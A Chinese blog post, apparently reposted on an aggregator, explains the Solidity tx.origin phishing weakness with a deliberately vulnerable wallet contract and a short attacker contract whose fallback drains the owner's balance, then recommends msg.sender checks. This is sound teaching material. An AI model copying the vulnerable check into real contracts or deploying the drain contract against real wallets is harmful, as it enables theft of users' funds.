zoukankan      html  css  js  c++  java
  • solidity智能合约中tx.origin的正确使用场景

    简介

    tx.origin是Solidity的一个全局变量,它遍历整个调用栈并返回最初发送调用(或事务)的帐户的地址。在智能合约中使用此变量进行身份验证会使合约容易受到类似网络钓鱼的攻击。

    但针对tx.origin的使用并不用谈虎色变,正确的使用还是有它的应用场景的。

    漏洞详解

    漏洞合约

    在如下合约中使用到了tx.origin的判断。

    pragma solidity ^0.4.11;
    
    // 不要使用这个合约,其中包含一个 bug。
    contract TxUserWallet {
        address owner;
    
        function TxUserWallet() public {
            owner = msg.sender;
        }
    
        function transferTo(address dest, uint amount) public {
            require(tx.origin == owner);
            dest.transfer(amount);
        }
    }
    

    上面的合约提供了构造函数(新版本中使用constructor)和转账方法。其中在转账方法transferTo中进行了owner的判断,这里用到了tx.origin。

    攻击者合约

    下面看一下攻击者的合约:

    pragma solidity ^0.4.11;
    
    interface TxUserWallet {
        function transferTo(address dest, uint amount) public;
    }
    
    contract TxAttackWallet {
        address owner;
    
        function TxAttackWallet() public {
            owner = msg.sender;
        }
    
        function () public {
            TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
        }
    }
    

    攻击者创建一个上面的合约,然后通过各种骗术来欺骗你用正常合约(TxUserWallet)的拥有者的地址向该攻击合约(TxAttackWallet)转账。然后区块链会默认调用攻击合约的fallback方法,也就是最后没有方法名的方法,并执行转账操作。

    而此时TxUserWallet合约里面的校验是可以正常通过的。因为tx.origin是最初发起交易的地址,也就是合约拥有者的地址。然后,地址里面的ether便被转到攻击者地址中。

    使用提醒

    tx.origin不应该用于智能合约的授权。更多的时候采用msg.sender == owner来进行判断。

    但它也有自己使用的场景,比如想要拒绝外部合约调用当前合约则可使用require(tx.origin ==msg.sender)来进行实现。

    原文链接:https://www.choupangxia.com/2019/07/18/solidity智能合约中tx-origin的正确使用场景/

  • 相关阅读:
    基于单片机定时器---年月日时分秒的算法
    按位查询算法---基于Perimiter Sensor
    MFC File crc 计算
    二叉树的层次遍历

    动态规划
    贪心算法 动态规划
    爱信息图床测试
    前端小白的个人习惯和笔记(一)
    过年了,是不是应该写点代码祝福别人
  • 原文地址:https://www.cnblogs.com/secbro/p/11209396.html
Copyright © 2011-2022 走看看